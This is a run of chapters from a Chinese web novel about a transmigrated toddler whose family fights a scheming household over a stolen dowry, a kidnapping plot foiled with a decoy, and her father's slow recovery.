“成大人,”一番细致勘察后,监察头领疾步来报,脸色古怪,“大房所在的含章苑,孟大人及其独子所在的前院,都门窗完好,未见丝毫损坏,连窗纸都没破一处,完全没有偷盗痕迹。 可里头大小物件全部搬空,桌椅床榻、箱笼柜橱,甚至连空箱子都不留一个。但是其余皆没有报丢东西,二房乃至老夫人的松鹤院,都称一切如常。” 他说到这里,抬眼看了看坐在上首面色铁青的老宋氏和紧张搓着手的孟二泉,脸上毫不掩饰地露出一丝鄙夷。 “这就奇了怪了。”成少尹连茶都没有喝,修长的手指在案桌上不轻不重地敲了敲,随即摊开双手双脚,换了个更放松的坐姿,一副“你们不交代清楚,本官就不走了”的姿态。 他目光锐利地扫过孟二泉那张惶惑不安的脸,心中对这靠祖荫混了个六品闲职的书丞更看不上眼。 他清了清嗓子,声音沉了几分:“孟大川孟大人可是朝廷功臣,这次回京还用军功给老夫人换了诰命,孝心可嘉,连圣上都夸赞过。” 他刻意顿了顿,见老夫人脸色稍缓,又话锋一转,“这件事,老夫人若是不好好处理,传出侯府贪墨儿媳妇嫁妆的事,不但寒了大房的心,若是皇上追究起来,” 他意味深长地拖长了语调,“可就没有本官坐在这里好说话了。”成少尹斜甯了一眼座上二人,话里话外,既是警告也是威胁。 对老侯爷和孟大川,他是真心敬佩的。老侯爷戍边三十年,战功赫赫;孟大川虽与他年龄相仿,交往不算密切,但几次接触下来,也深知那是个赤诚磊落的汉子。 可惜命途多舛,年少丧母,未及承爵又丧父,摊上这么个偏心的后娘,如今生死未卜,连家中的财产和妻子的嫁妆都保不住,思及此,他心中不免生出几分悲凉与愤慨。 “大人,实在是冤枉啊!”老宋氏猛地抬头,一张保养得宜的脸,不出半月多了不少皱纹,满是委屈与惊惶,声音都尖利起来,“他们去了庄子后,那含章院我们都没进去过,平日都是锁着的,钥匙、对牌都收在库房,都是那些黑了心肝的下人……” 第28章 老夫人晕过去了 她越说越急,胸口剧烈起伏。本以为柳氏嫁过来时那令人眼红的十里红妆,迟早能到手,谁知道竟出了这档子事。那盗贼来无影去无踪,做得天衣无缝,无声无息就将偌大院子搬空,说出去谁信? “哦?”成少尹轻蔑地看了她一眼,打断她的辩解,“可本官怎么听说,大房一走,院里的丫鬟婆子小厮都被你们以各种名目遣散去了各院,偌大的含章院就留两个未满十四的小丫鬟守着?这岂不是敞开了大门请贼进来?” “那是…那是…”老宋氏被噎得哑口无言,脸上一阵红一阵白。把人撤走,她确实存了私心,想着慢慢将院子掏空,柳氏在庄子上山高路远,又能如何?可她确实还没来得及下手啊! “反正我们就是没拿!大人明鉴!”她只能无力地重复。 “侯府若是如此不知趣,那本官就只能秉公办事了。”成少尹也动了真气,霍然起身,袍袖带风。 “给你们脸面不要,就别怪本官不客气!此案疑点重重,明摆着就是内外勾结,少不得要请府上各位主子、管事,乃至所有下人,都到京兆尹衙门问个清楚!” “成大人息怒,息怒!”孟二泉吓得冷汗涔涔,连忙起身作揖,请他坐下。 脸上堆满讨好的笑,声音都在发颤,“这事确实是我们想的不周到,做得不妥帖。才让贼人钻了空子,千错万错都是侯府的错。”他偷眼觑着成少尹的神色,心中惶恐万分。 若是真闹到衙门,或是让皇上对侯府起了疑心、生了厌恶,那承爵的事就彻底成了泡影。 他咬了咬牙,只想着先稳住局面,“这事我们定会给大房一个交代,给大人一个满意的答复。” “好!”成少尹转身,目光如炬,“那我们京兆尹就在年关封印前,等着孟书丞的书面解释和解决方案。那份文书,” 他加重语气,“可是要呈到御前给皇上过目的,孟书丞最好仔细斟酌,别想着糊弄本官。” 说完,对廊下等候的差役一挥手,沉声道:“收队。”随即拂袖而去,背影决绝。 “你这混账东西!”待成少尹一行人脚步声远去,老夫人猛地抓起手边的粉彩茶盏,狠狠摔在地上,瓷片四溅。 “你怎么能自作主张答应下来?明明就是遭了贼盗,我们如何查得清?再说现在离京兆尹封印不过二十天,我们怎么解释?拿什么解决?你这不是要我的老命吗?” 她气得浑身发抖,眼前发黑,差点没背过气去,接连又扔了两个茶盏,只恨这个亲儿子软弱无能,在外人面前竟如此妥协退让。 “母亲还听不出成大人话里话外的意思么?”孟二泉心里也憋着一股邪火,语气不由冲了几分,“他那句‘皇上追究起来’,是白说的么?没准就是上头那位授意的原话!这是逼着我们吐出柳氏的嫁妆,息事宁人!” 他看着母亲气得扭曲的脸,硬着头皮把最狠的话抛了出来,“若是母亲不想法子把她的嫁妆补上,不说爵位,怕是儿子这费尽心力得来的六品小官都保不住!到时候,咱们全家就成了彻头彻尾的庶民!您那诰命夫人怕也保不住。” “我何时拿她的嫁妆?你这逆子,竟敢如此污蔑生母!”老夫人气得几乎昏厥过去,被一旁的嬷嬷慌忙扶住。以前她是逼着柳氏“孝敬”了不少首饰头面、古玩摆件,柳氏为了维持侯府表面光鲜,也贴补了不少公中开支,这是真。 可柳氏那压箱底的嫁妆单子上的田产地契、金银器物,她确实还没找到机会下手,这也是真。 如今儿子话里话外,竟说得仿佛她就是那监守自盗、偷盗儿媳嫁妆的贼一般,让她如何下得去这口气?颜面何存? “反正,儿子回去就修书上表,说明嫁妆并未被盗,报官只是下人们不明就里,为大房抱不平而闹出的误会。” 孟二泉心一横,也拂袖而去,走到门口又顿住,头也不回地扔下一句,“等来年开春,雪化了路好走,儿子亲自去庄子上把大哥大嫂接回府奉养。”说完,径直跨出门槛,消失在寒风凛冽的庭院中。 “家门不幸,我这都是造的什么孽啊!我辛辛苦苦筹谋一辈子,殚精竭虑,我这是为了谁?为了谁啊——” 身后传来老夫人撕心裂肺的哭嚎,紧接着是更多瓷器被狠狠摔打在地、碎裂四溅的刺耳声响,在松鹤院里久久回荡。 最后是春嬷嬷一声大喊:“快请郎中,老夫人晕过去了。” …… 嘚嘚都默写出整本《论语》了,娘亲在雪地里喊她回家的声音都比往日响亮了许多。 阿沅也觉得自己练得身子轻快多了,虽没能像话本里写的侠客那般“雪上飞”,但至少不会像原本那样,走两步就“啪叽”一下,在雪地里滚成个名副其实的小糯米团子。 她如今能在积雪上踩出稳稳当当的小脚印,像一串串胖胖的梅花。 可是,爹爹的腿怎么还不长进呀! 眼看娘亲小瓷瓶里的药丸都快见了底,年关就在眼前,爹爹的腿还是没什么知觉。 任她和娘亲天天捏、狠狠掐,她甚至偷拿娘亲做女红的小针针,先是轻轻戳,后来心一横稍微用力扎,爹爹的腿还是安安静静,眉头都不皱一下。 阿沅急得腮帮子都鼓起来了,像只没有囤粮过冬的小仓鼠。 若不是她在爷爷的诊所里见过好几个被断定再也站不起来的病人,服了她研制的药丸几个月后,竟能颤巍巍站起来,甚至有人后来还能慢跑打球,她真要对自己的药心生嘀咕了。 现代的药里,还缺了这雪上一枝蒿呢。 “哎呀!”就在她发愁爹爹断了药可怎么办,猫在空间里翻箱倒柜想找替代药材时,眼角忽然瞥见花圃里原本只埋了两寸来长的“雪上一枝蒿”,此刻竟悄没声儿地抽长了一大截! 墨绿的茎秆挺立着,还舒展出了三四片毛茸茸、边缘带着细锯齿的小叶子,在空间恒暖的微风里轻轻颤着,仿佛在跟她打招呼。 “太好了,又能给爹爹制药了!”阿沅眼睛一下子亮晶晶的,忙不迭取出小剪刀齐根剪下药草。她蹬蹬蹬跑到实验室,配药,守着药罐子熬煮、提炼。 每个步骤等待的时间得有点漫长,她闲不住,又在实验室的柜子角落、瓶瓶罐罐、犄角旮旯里翻翻捡捡。 第29章 举一反十 嘿!高产的稻种还真不少,有十几种呢,容器都贴着标签,少的也有百来斤,多的竟标着上千斤! 阿沅大概算了算,如果一亩地用五斤左右的稻种,那嘉禾庄和娘亲其他几个庄子的地都能种上。 可一想到那场要持续到明年五月的雪灾,她的小眉头又蹙了起来,粉嫩的脸蛋上满是与年龄不符的愁绪。 她在心里小声嘀咕:空间老儿,我可是种子专家呀,光给个摆满瓶瓶罐罐的实验室怎么够?我们搞农业的,哪能真的闭门造车? 您好歹再给几亩肥沃的试验田,让我能提前育个苗、试个种嘛!不然等雪一化,夏天也到了,百姓们拿什么去种?错过了时节,可要饿肚子的呀! 她一边想着,一边不甘心地继续翻找,小胳膊都快伸进柜子最深处了。忽然,指尖触到一个滑溜溜的小布袋,拽出来一看,竟然是一小袋黄豆! 豆粒颗颗饱满滚圆,竟有她的小指头尖那么大,金黄灿灿的,看着就喜人。 阿沅乐了,露出小米牙:“肯定是哪个师兄师姐怀有私心,也偷偷带进来另作他用的,被我发现啦!” 她把这袋意外之喜捧在手里,掂了掂,“看这颗粒,还是高产品种呢!就是少了点……不过没关系,开春先找块好地间隔着种下,要是收成好,下一季就能扩大种植啦!这样,以后大康朝就不缺好豆种了!” 一高兴,她忍不住双手用力搓起豆子来,豆粒硬硬的,硌得她白嫩嫩的手心发红,还有点疼。她“嘶”地吸了口凉气,却忽然灵光一闪,想起前世爷爷常建议腿脚不便,或是有中风早期表现的病人踩黄豆按摩脚底,说是能活络经脉! 她顿时有了主意,大眼睛扑闪扑闪,满是跃跃欲试的光芒。 “爹爹!踩豆子!神仙姑姑说,踩豆子好!” 晚饭后,阿沅又嘿咻嘿咻爬上小榻爬上床,迈着小短腿连滚带爬来到爹爹跟前,眼睛里像是撒了星星,语气又急又软,带着满满的期待。 孟大川看着女儿红扑扑的小脸,那全心全意为他着急、为他想办法的可爱模样,让他的心软成一滩水。 其实,他的腰腿正在缓慢地好转,他自己是有感觉的。原来那种尖锐的、向上牵扯的痛楚渐渐淡了。深夜万籁俱寂时,受伤的筋脉处仿佛有极轻柔的羽毛拂过。 平日里,妻子按摩过后,骨头缝里更会泛起一阵阵微弱的、如同蚂蚁爬过的酥麻感。 他只是不敢说,怕这细微的好转只是昙花一现,怕说出来给了妻女希望,万一后续不尽如人意,她们会更失望。他宁愿默默承受,等待一个更确切的奇迹。 “踩豆子?”孟大川还没回应,正在窗下做针线的柳氏早已竖起了耳朵,女儿的话一字不落全听了去。她立刻放下手里的活计站了起来,扬声就朝外吩咐:“秀姑,快去寻庄头,让他挑上好的黄豆,装半麻袋送过来!” 说完便快步走到床沿坐下,掀起被子,熟练地替丈夫揉捏起腿脚,语气温柔而坚定:“神仙姑姑说的法子定然有效。夫君现在动不得,妾身就用这豆子替你搓揉,总比干等着强。” 孟大川心中暖流涌动,看了看一心为他的妻女,沉吟片刻,朝窗外唤道:“孟柒。” “属下在,请大人吩咐。”窗外立刻传来沉稳的回应。 “我记得此番班师回朝,有一位名叫‘老北’的随军老医官,针灸之术颇为精湛。你可能寻到他?” 孟柒答道:“回大人,老北医官家乡离京城不算远,雪虽大,属下尽力去寻,应当不难找到。” “好,”孟大川点头,“速去将他接来。” 他略一思忖,又道:“若他家中尚有亲眷,也一并接来吧。这冰天雪地的,来了自有我们照应。待开春后,他是想继续行医,还是想置地耕种,都由我们安排。” 阿沅笑得见牙不见眼,活像只偷吃了蜂蜜的小狐狸,眉眼弯成了月牙儿。心里美滋滋地想:爹爹和娘亲真是太厉害了!娘亲是无条件相信。爹爹不光一点就通,还能想得这么周到长远,这可不只是举一反三,简直是举一反十嘛! 腊月二十六这天,老军医老北一家冒着风雪来了。 说“老北”,其实人并不算老,看着也就四十多岁,只是常年在军中风霜侵染,脸上皱纹深了些,头发也花白了些,才得了这么个称呼。 说是一家子,其实也就六口人:老北和他老伴老北婶子,还有他们的儿子、儿媳,以及孙女莲花。 老北一到,跟柳氏匆匆见了个礼,话都来不及多说几句,就背着他那个边角磨得发白、露出木头原色的旧药箱,跟着孟柒急匆匆进屋去看孟大川了。那专注急切的样子,仿佛早一刻诊脉,病人的生机就能多一分。 “这冰天雪地的,还劳烦你们拖家带口走这一趟,真是过意不去。老婶子,这点银子你务必拿着,初来乍到,安顿家里总要花销。” 柳氏从青衣手上接过一个绣花小荷包,不由分说塞到老北婶子手里,里面是二十两雪花银,沉甸甸的。 “这怎么能行!万万使不得!”老北婶子双手像被烫着似的往回缩,粗糙的脸上满是惶恐,“孟大人那是救了我们全家的恩人!要不是你们接我们来,我们也正发愁那破屋肯定被雪压垮,还不知道在哪儿挨冻受饿呢!这钱我们可不能要!” 莲花娘也在一旁搓着手,急切地帮腔:“夫人给安排的屋子又宽敞又暖和,炭火、粮食、衣裳被褥,样样都是顶好的,连过年做里衣的细棉布都给我们备了好几匹。我们感激都来不及,哪能再拿银子!” 莲花爹则站在娘俩身后,涨红着脸,嘴唇嚅动了半天,只笨拙地重复着:“使不得,使不得……” 第30章 老北一家来了 “你们快别推脱了,”柳氏语气温和却不容拒绝,将荷包稳稳按进老北婶子掌心,“这大雪封路的,出门采买不便,若是有什么缺的,你们尽管说,银子留着以后用。 小北叔是来救我夫君性命的,是我们该感激你们。千万别见外,只当是一家人。” 侍立在旁的青衣也笑着劝道:“老爷夫人心肠最是仁善,你们若太客气,反叫夫人心中不安。” 阿沅已经蹭到一直怯生生躲在娘亲身后的莲花身边,小手一把抓住莲花有些冰凉的手指,另一只手变戏般小兜兜里掏出一大把糖块,不由分说全塞进莲花手里,小嘴还甜甜地说:“连发,甜!” 柳氏见状,眉眼弯弯地笑了:“莲花看着有四岁多了吧?刚好能跟我们阿沅做个伴儿,小姑娘家在一起玩,热闹。” “哪啊!过了年就六岁了。”莲花娘忙道,又有些不好意思地看了一眼自家闺女,“就是……就是长得慢,个子不高。”这话一出,倒把众人都逗笑了。 仔细一看,这一家子确实都是敦实的身板,个头不算高。五岁多的莲花和三岁半的阿沅站在一起,竟高不出多少,只是莲花脸上少了几分孩童的娇憨,多了些早熟的沉静。 小姑娘模样算不上顶水灵,但眉眼端正,眼神清澈,一看就是憨厚朴实的人家养出来的孩子。 “连发!过乃(来)!窝给泥好玩的!”阿沅一着急,“莲花”叫成了“连发”,自己还没察觉,众人又是一阵善意的哄笑。 柳氏笑着摇摇头,对青衣吩咐:“去给婶子们上壶热热的甜汤,再拿两碟点心来,暖暖身子。” 被阿沅软乎乎的小手紧紧拉着,莲花想跟着去,又有些胆怯,先低头看了看自己沾着泥雪的旧棉鞋,又抬头用眼神征询地望望娘亲,再瞅瞅奶奶。 老北婶子看着眼前粉雕玉琢、热情洋溢的小姐,又看看自家孙女那渴望又拘谨的模样,心里一软,终于点点头:“去吧,仔细跟着小姐,好好玩,别淘气。” “欸!”莲花眼睛一亮,应了一声。只见她转过身,稍一弯腰,两条看着并不粗壮的手臂竟稳稳地将阿沅抱了起来! “娘亲……”阿沅突然双脚离地,吓得短促地惊叫一声,两只小胳膊下意识地环住了莲花的脖子。 也亏得莲花个子不高,抱起阿沅倒也合适。她抱着这个软绵绵、香喷喷的小团子,脚下却丝毫不慢,两条小短腿迈得又稳又快,“蹬蹬蹬”几下就跨过了门槛,朝院子里走去,动作竟是意外的利落。 “娘亲,她们……总抱窝(我)……不要嘛……”阿沅在莲花怀里扭动着小身子,奶声奶气地抗议,可惜反抗无效。红袖和青衣早已笑着跟了出去,院子里很快传来阿沅银铃般的笑声和叽叽喳喳的说话声,渐渐远去。 “这孩子……劲儿怎么这般大?”柳氏望着她们消失的方向,又是惊奇又是好笑。莲花看着瘦瘦小小的,抱着和她差不多份量的阿沅,居然步步稳当,毫不吃力。 莲花娘有些赧然,搓着衣角解释道:“夫人见笑了。这孩子天生力气就比旁的孩子大些,饭量也大,可就是不见长个儿,也不见长肉,光长力气了。” “难怪有这么好的体魄!能吃才是福气。”柳氏越听越觉得这小姑娘有意思,心中一动,便道,“以后若是无事,就让莲花多跟着阿沅吧。庄子里孩子少,阿沅整天闲不住,不是想去堆雪人就是想往外跑。下午我还能拘着她俩认几个字。 我瞧着莲花是个稳重的,还能看着点阿沅。若她们坐得住,我也可以教她们摸摸针线,绣个简单的小花样。” “认字?读书?”莲花娘的眼睛瞬间就亮了,随即又涌上一层薄薄的水光,那是难以置信的惊喜。庄户人家的孩子,能歪歪扭扭写出自己的名字已是了不得,如今竟有机会跟着小姐读书认字? 她连忙用手背擦了擦眼角,怕失态,又赶紧说:“绣花怕是……怕是难为她了,她就是拿锄头铲子的命,粗手粗脚的,针都拿不稳当,哪能指望这个。” 柳氏笑道:“我们家阿沅也是个皮猴儿,拿针未必比拿树枝老实。我看她俩投缘,说不定能玩到一处去。都是一路性子,难怪一见面阿沅就拉着她跑,这是碰着同类了!” 柳氏这几句自降身份的打趣,顿时让厅里的气氛松快了不少。原本因陌生而略显空旷安静的院落,仿佛也被孩子们的笑语声染上了活力,在这年关将近的雪日里,平添了许多暖意和生气。 “你们来得正好,”柳氏兴致更高了,“眼看着就要过年了,明天开始,咱们就得忙活起来了——蒸年糕、包饺子、捏馒头、炒瓜子花生。听说这雪还得下好一阵子,咱们多准备些吃食,存着能吃到开春!” 老北婶子一听这个,立刻眉开眼笑,拍着手道:“这可是找对人了!夫人,做这些面食点心,我最在行!正愁这年不知怎么过呢,这下可有事忙了!” “怎么过?来了就是一家人,当然一起热热闹闹地过!”柳氏语气欢快,“我先前还愁,这过年就我们几个,连个说话唠嗑的伴儿都没有。如今可好了,人多才热闹!” 她目光转向一直憨厚地坐在旁边、只是跟着傻笑的莲花爹,温和地说:“明日庄子里就开始杀猪宰羊了。莲花爹,你若是得空,可以去庄头那儿帮帮忙。不用你动刀杀生,帮着褪褪毛、灌灌香肠、腌腌腊肉什么的,打个下手也成。庄头是个厚道人,你跟着学学,以后也是个手艺。” “好!好!”莲花爹呵呵点头。 莲花娘更是感激不尽,忙替丈夫应道:“那感情好!他呀,就是有一身力气没处使,偏生又是个锯嘴葫芦,不会说话。莲花这闷性子,就是随了他!”话语里虽是埋怨,却透着朴实的温情。 第31章 引蛇出洞 天才蒙蒙亮,庄子里就响起了此起彼伏的杀猪宰羊声,那声音尖利又带着年节特有的热闹劲儿,穿透了冷冽的空气。 院子里早已灯火通明,热气腾腾。老北婶子嗓门洪亮,指挥着众人,大灶上好几层蒸笼摞得老高,白色的水汽弥漫开来,混合着面食的甜香和肉馅的鲜味。 和面的、擀皮的、包饺子的、捏馒头的,人人手上不停,脸上都带着笑,为在这庄子里过的第一个年忙碌着,也新鲜着。 阿沅心里揣着小兔子似的,早早就醒了,红袖帮她套上暖和的袄子,蹬着小棉靴,想往院外跑。 可刚在院门口探了探头,就被眼尖的绿果和红豆一边一个“拎”了回来。“小姐,外头正动刀子呢,血糊糊的,仔细看了晚上做噩梦。” 绿果耐心哄着。红豆也帮腔:“就是,夫人特意交代了,等那边收拾利索了再让您去看热闹。” 红袖正帮着递东西,见状也凑过来,小声在阿沅耳边说:“小姐别急,那场面是有些吓人,咱们先在院子里玩,等会儿就有好吃的了。” 阿沅撅起了小嘴。她可不是真的怕,在现代,乡下过年杀年猪,那可是全村的大事,孩子们挤在最前面看,只觉得兴奋。白刀子进红刀子出,那才叫有过年的气氛呢! 莲子心里也这么嘀咕,但她可不敢说,只机灵地拉着阿沅的手,在灶箭一个个蒸笼旁钻来钻去,用别的新奇吸引她。 “小姐,来,第一笼肉包子出笼了,您尝尝婶子的手艺!” 老北婶子最是爽利,揭开蒸笼,白胖胖的包子冒着诱人的香气,她不由分说给阿沅、莲子和红袖一人塞了一个,还特意用油纸垫着,“小心烫!” 阿沅捧着小包子,吹了吹,小心咬了一口,汤汁鲜美,肉馅喷香,她眼睛亮了亮:“好鲜呀!” 但小孩子胃口小,尝了两口,觉得腻了,很自然地转头递给了几口就能吃完的莲子。 莲子可高兴了,接过来“啊呜”就是一大口,腮帮子鼓鼓的,含含糊糊地说:“谢小姐!真好吃!” “瞧瞧,还有这个!”老北婶子又变戏法似的拿出几个小动物馒头,递给阿沅的那个捏得活灵活现,是只胖乎乎的小兔子,用红豆点了眼睛,很是可爱。 “小姐快把这兔头咬下来,看看甜不甜!” 阿沅被逗笑了,拿着兔子馒头,珍重地先小小咬了一口兔子尾巴,又犹豫着在耳朵上留下个小小的牙印。这回,她把啃了两口的兔子馒头递给了红袖。 红袖接过,眼睛忽然有些发潮,轻声说:“这兔子真好看……奴婢……奴婢想拿去,给不知道在哪儿的爹娘供一供……” 过年了,别人家都祭祖,她连爹娘是谁,还在不在都不知道,心里空落落的。 院子里欢声笑语不断,蒸笼的热气熏得人脸红扑扑的,大家都沉浸在忙碌的喜悦里。只有阿沅,总觉得心口砰砰跳得厉害,像有什么东西牵引着她往外去。 刚才她明明看见哥哥一个人走出院子了,墨竹远远跟在后面,慢吞吞的,看着就不太上心。 阿沅越想越不放心,趁着绿果她们一个没留神,又像条小泥鳅似的往门口溜。 “哎哟,我的小姐,您可不能出去。”守门的婆子笑着张开手臂,像堵温暖的墙。“老奴想去凑热闹还不行呢!瓜子磕久了也不带劲。” “你别拦窝!小心泥这身皮。”阿沅急了,跺着小脚,学着大人模样双手叉腰,努力做出凶巴巴的样子,“窝要出去!窝要嘚嘚!”可她脸蛋圆润,眼睛乌溜溜的,这副样子非但没威慑力,反而显得娇憨可爱。 婆子笑得见牙不见眼:“老奴这身老皮啊,自己揭,可不敢劳烦小姐的小嫩手。您呀,还是安心在院子里玩吧。” “娘亲!娘亲!”阿沅一计不成,转身就跑回厨房求援,一把抱住正在捏面团、脸上沾了些面粉的柳氏,带着哭腔,“窝要出去!窝要嘚嘚!” 柳氏见女儿真急了,泪珠在眼眶里打转,忙放下手里的面团,在围裙上擦了擦手,弯腰把她抱起来:“哥哥不在屋里吗?走,娘带你去找他。”说着,却抱着阿沅往正屋方向走。 阿沅更急了,在柳氏怀里扭动着小身子,手指坚定地指向院门方向:“不在!出去了!婆子也不拦嘚嘚,嘚嘚有事!”她有种莫名的焦灼感。 “阿沅乖,我们先看看。”柳氏嘴上安抚,脚步却不停,抱着她快步走向孟怀瑾的侧屋,不像平日那样由着她。 “呜呜……娘亲,信窝!窝不要嘚嘚有事!”阿沅的眼泪真的掉了下来,珍珠似的滚落,她用力挣扎,委屈极了。娘亲以前明明说过信她的,这次怎么不信了呢? “妹妹!”就在这时,侧屋的门忽然从里面打开,一只手伸出来,迅速将母女二人拉了进去,门又立刻关上。 “嘚嘚?”阿沅的哭声戛然而止,她睁大了泪眼朦胧的眼睛,看着好端端站在面前的孟怀瑾,小嘴惊讶地张成了“O”型,鼻涕泡还挂在鼻尖上。 “窝…明明…明明看见……”她的小脑袋瓜糊涂了,她分明看见哥哥出去了呀,后面还跟着墨竹呢! “那是‘纸槐’。”孟怀瑾微微一笑,如春风化雪,先恭敬地叫了声“娘亲”,然后才看向懵懂的妹妹,见她眼中还有困惑,便压低声音解释道:“他们去‘引蛇出洞’了。”这话带着一丝与他平日温润书卷气不太相符的冷静。 见女儿不哭,柳氏松了口气,轻轻帮她拭泪。 孟怀瑾转向柳氏,语气恢复了平日的恭顺:“娘亲,您去忙吧。儿子教妹妹写大字,不写满十大张,不许她出去胡闹。” 然而,在柳氏看不见的角度,他却悄悄冲阿沅眨了眨眼睛,那眼神里闪过一抹狡黠,活像只成功布置了陷阱的大狐狸。 “才不要!”阿沅一听“十大张”,吓得那点疑惑和委屈全飞了,小肉手连连摇摆,“爹爹说了,不写字,放年假!” 写那么多,她的手还要不要啦!不耽误她玩的么? “窝没吃饱,窝要去吃好吃的!”她像只受惊的小兔子,灵活地从哥哥和娘亲身边钻出去,拉开门就往外跑。 第32章 死得不冤 门口,莲子和红袖正焦急地张望,见她出来如释重负。 阿沅一手拉住一个:“走!窝饿了!”跑得飞快,小短腿倒腾得比兔子还快,仿佛后面有夫子追着要她写字似的。 “哈哈哈!”身后,哥哥和娘亲忍俊不禁的笑声透出窗棂,清晰传来。阿沅跑出一段,停下脚步,小脸上满是挫败感,鼓起了腮帮子。 她心里有些闷闷的。作为穿越者那点“预知剧情”的优越感,似乎在真正聪明又肯行动的古人面前,并不那么管用了。 她感觉自己被爹爹、娘亲,尤其是哥哥联手“摆了一道”。 原来那个只爱读书的哥哥,也有这么“狐狸”的一面! 书里的剧情,早就因为她的到来发生了改变,现在家里又多了一只深藏不露的“狐狸”,以后这日子,还有她“未卜先知”发挥的余地么? 小糯米团子第一次对自己的“本事”产生了深刻的怀疑。 而此时,庄子外的大晒场靠近大门处,却是另一番景象。猪羊已被放倒,进入了刮毛清理的阶段。 人群中,一个裹得厚实、戴着暖耳、只露出一双呆滞眼睛的“孟怀瑾”,正懵懂地看着这一切。 他在佃户们同情又习惯的目光中,这里摸摸刮毛的猪,那里碰碰接血的木盆,甚至去追着拔褪了毛的公鸡身上残留的漂亮羽毛,玩得不亦乐乎。 墨竹起初还跟在几步远的地方,后来似乎被灌血肠的新鲜做法吸引了,也凑上去帮忙,一时没顾上“少爷”。 没一会儿,“孟怀瑾”便和庄子里两个年龄相仿的大孩子跑到了一边,起初还在雪地里踢踢打打,不知不觉越跑越远,到了人少僻静处。 “少爷,快来啊!”一个孩子低声唤道。 “少爷,我们去书院,夫子在书院等您呢!”另一个孩子也跟着说,声音里带着诱惑。 “孟怀瑾”脚步顿了顿,显得有些茫然,想要回头看。那声音继续引诱:“去读书,少爷不是最爱读书了吗?” “好,我要去书院,我要去读书……”“孟怀瑾”眼神变得直勾勾的,喃喃念着,仿佛被这句话魇住了,深一脚浅一脚地跟着两个孩子朝庄子外走去。 庄子外僻静的雪路上,不知何时停了一辆不起眼的灰棚马车。两个穿着普通下人衣服、眼神却透着精悍的小厮,见人来了,迅速跳下车。 其中一个掏出块布,猛地塞进“孟怀瑾”嘴里,另一个则用力将他往车厢里一推。那两个引路的孩子见状,立刻像受惊的麻雀,头也不回地钻回庄子,消失在忙碌的人群中。 马车迅速驶离,雪地上只留下浅浅的车辙,很快就被新飘落的雪花覆盖,仿佛什么都没发生过。庄子里的年味,依旧浓得化不开。 …… “真他娘的晦气!怎么又是安平侯府?流年不利还是撞了邪了?”巡防司的小吏搓着冻僵的手,看着山脚下那辆摔得粉碎、木片与积雪混合在一起的马车残骸,以及旁边三具早已僵硬的尸体,骂骂咧咧。 另一人蹲下查看痕迹:“看这方向,像是从城里往庄子这边来的。别是去接大房那位的吧?” “接?黄鼠狼给鸡拜年——没安好心!刚被逼着吐出那么多嫁妆,心里不定怎么恨呢,还能好心去接?巴不得他们死在山沟里才对!” “就是!你看车里备着的绳子、棍子,像是请人回去过年的样子?分明是去绑人的!去个人给安平侯府庄子报个信吧,这些害人的‘物什’也得记录在案,没准以后有用。” …… 第二天, “小姐,小姐!”红袖一边麻利地给阿沅穿上一件崭新的绯色绣小梅花袄子,一边压低声音,带着几分神秘与唏嘘汇报,“奴婢听说,昨儿后半夜雪崩,压垮了庄子里两户的屋子。” 阿沅心里“咯噔”一下,面上却努力维持着镇定,小手攥紧轻声问:“都……压死了吧?”她其实已经有了模糊的猜测。 “死了,一个没跑出来,两家都死绝了。”红袖的声音很平静,甚至带着一丝冷意,“庄子里的人都传,说他们是罪有应得,老天开眼。” “怎么会?庄子里所有屋子都刚修缮过。”阿沅抬起小脸问。 红袖撇撇嘴,一边给她系盘扣,一边说:“那两家当家的,以前是跟着老庄头作威作福的狗腿子,欺负佃户可狠了。他们家的小子,都才十二三岁,就学得欺男霸女,不是好东西。 这回倒好,住的是顶顶好的屋子,听说脑袋都被砸得……哼,大家都说,这是报应,雪崩专挑恶人砸呢。” 对待恶人,就应该这样,不能手软。因为洞悉里的结局,阿沅一点都不觉得那些人可怜,他们死得一点都不冤。 这种人家,也理应全家株连。 晚些时候,阿沅爬上爹爹孟大川的床,蔫蔫地窝进他宽厚温暖的怀里,像只没了精神的小猫儿,小脸上写满了不高兴。 孟大川放下手中的书册,察觉女儿情绪不对,大掌轻轻抚摸着她的头顶,温声问:“宝贝阿沅怎么了?谁惹咱们小糯米团子不高兴了?” “嘚嘚……把窝当外人。”阿沅把小脸埋在爹爹怀里,声音闷闷的,带着浓浓的鼻音,满是委屈。 过了一会儿,她又抬起头,用那双清澈又带着控诉的大眼睛看着孟大川:“爹爹也不老实。”她可不傻,光靠墨竹和一个替身“纸槐”,哪能做成那么周密危险的事? 那些护卫、还有爹爹以前提过的暗卫,肯定都出手了。爹爹不可能不知道,娘亲也知道,合着全家就她一个人被蒙在鼓里,像个真正啥也不懂的小娃娃。 孟大川看着女儿清澈见底、仿佛能映出人心思的眼睛,心里软得一塌糊涂,又有些感慨女儿的敏锐。 他亲了亲阿沅的额头,将她搂得更紧些,沉声道:“万事有爹娘和哥哥在,阿沅还小,这些腌臜事、危险事,不需要你去知道,更不需要你去操心。” 他的语气都是疼爱,“你呀,就好好吃饭,乖乖睡觉,快快长大。你是爹娘的宝贝,是侯府的嫡小姐,就该娇养着,活得开开心心、干干净净的。” “可是……可是……”阿沅在爹爹坚实的怀抱里,听着他有力的心跳,那份被“排除在外”的委屈稍稍平复,但心里那股不服输的劲儿又上来了,小声嘟囔,“窝不服!” 她可是知道整个故事走向的人啊!虽然细节模糊了,也改变了,但大方向总该有点用吧?为什么现在好像每个人都比她棋高一着,事情悄无声息就发生了,又悄无声息结束了,她总是后知后觉,甚至完全被蒙在鼓里。 她连做个安安稳稳、知道点内情的“书虫”的权利都没有了吗?小糯米团子第一次对自己的“穿越者”身份产生了深深的“职业危机”。 第33章 好人多多,坏人少少。 “嘚嘚真的被骗了?” 看小家伙不高兴,孟大川还是把孟怀瑾被骗出庄子的事,还有解决了那几个人的告诉了她。 阿沅一听,小嘴立刻噘得老高,能挂个油瓶似的,乌溜溜的大眼睛里满是担忧,小手也不自觉地攥紧了爹爹的衣角。 “那爹爹会不会被烧?”阿沅皱起小小的眉头,胖乎乎的脸蛋上写满了认真。 原书里是先纵火,孟大川死于火灾;现在把孟怀瑾骗去书院的事却发生在前,故事的发展有点串了,她心里隐隐像揣了只蹦跳的小兔子,七上八下地不安起来,表现在这具三岁的身体上,这种不安更为明显。 孟大川又伸出手,爱怜地捋了捋她细软微黄的头发,“想太多不长头发,就不漂亮了。神仙姑姑的话,爹爹都记着呢,柒叔都做了防备,庄子周围加派了人手日夜巡守,坏人来不了。” 